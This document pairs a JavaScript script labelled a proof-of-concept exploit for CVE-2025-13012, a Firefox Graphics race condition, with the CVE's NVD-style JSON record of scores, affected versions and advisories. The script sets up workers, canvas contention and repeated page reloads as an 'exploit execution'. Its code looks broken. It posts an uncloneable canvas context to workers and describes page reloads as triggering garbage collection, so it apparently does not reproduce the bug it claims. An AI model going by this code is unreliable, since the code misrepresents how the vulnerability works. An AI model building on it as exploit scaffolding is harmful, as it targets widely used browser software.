CVE-2025-13012

// CVE-2025-13012 PoC - Race Condition in Graphics Component // This PoC demonstrates a race condition trigger mechanism const pocScript = ` // Race condition trigger for Graphics component async function triggerRaceCondition() { const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d'); // Prepare multiple threads accessing graphics resources const workers = []; const numWorkers = 10; for (let i = 0; i < numWorkers; i++) { const worker = new Worker(URL.createObjectURL(new Blob([\` self.onmessage = function(e) { // Rapidly access and modify graphics resources const imageData = e.data.ctx.getImageData(0, 0, 100, 100); // Create contention on shared resources for (let j = 0; j < 1000; j++) { e.data.ctx.putImageData(imageData, Math.random() * 50, Math.random() * 50); e.data.ctx.clearRect(0, 0, 100, 100); } } \`], { type: 'application/javascript' }))); workers.push(worker); } // Trigger concurrent access workers.forEach(worker => { worker.postMessage({ ctx: ctx }); }); // Simultaneously trigger garbage collection setInterval(() => { window.location.reload(); }, 100); // Rapidly create and destroy graphics contexts setInterval(() => { const newCanvas = document.createElement('canvas'); const newCtx = newCanvas.getContext('2d'); newCtx.fillRect(0, 0, 100, 100); // Force context switching Promise.resolve().then(() => { newCtx.clearRect(0, 0, 100, 100); }); }, 50); } // Exploit execution triggerRaceCondition(); `; // Inject and execute const script = document.createElement('script'); script.textContent = pocScript; document.body.appendChild(script);

{"cve": {"id": "CVE-2025-13012", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:38.253", "lastModified": "2026-04-13T15:16:41.930", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Race condition in the Graphics component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Firefox ESR 115.30, Thunderbird 145, and Thunderbird 140.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.30.0", "matchCriteriaId": "6A363BA6-4A06-4794-B7DF-59B1624097BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "140.0", "versionEndExcluding": "140.5.0", "matchCriteriaId": "E7561CC5-C090-4099-A311-1A0E304111FE"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1991458", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-88/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-89/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-91/", "source": "[email protected]"}]}}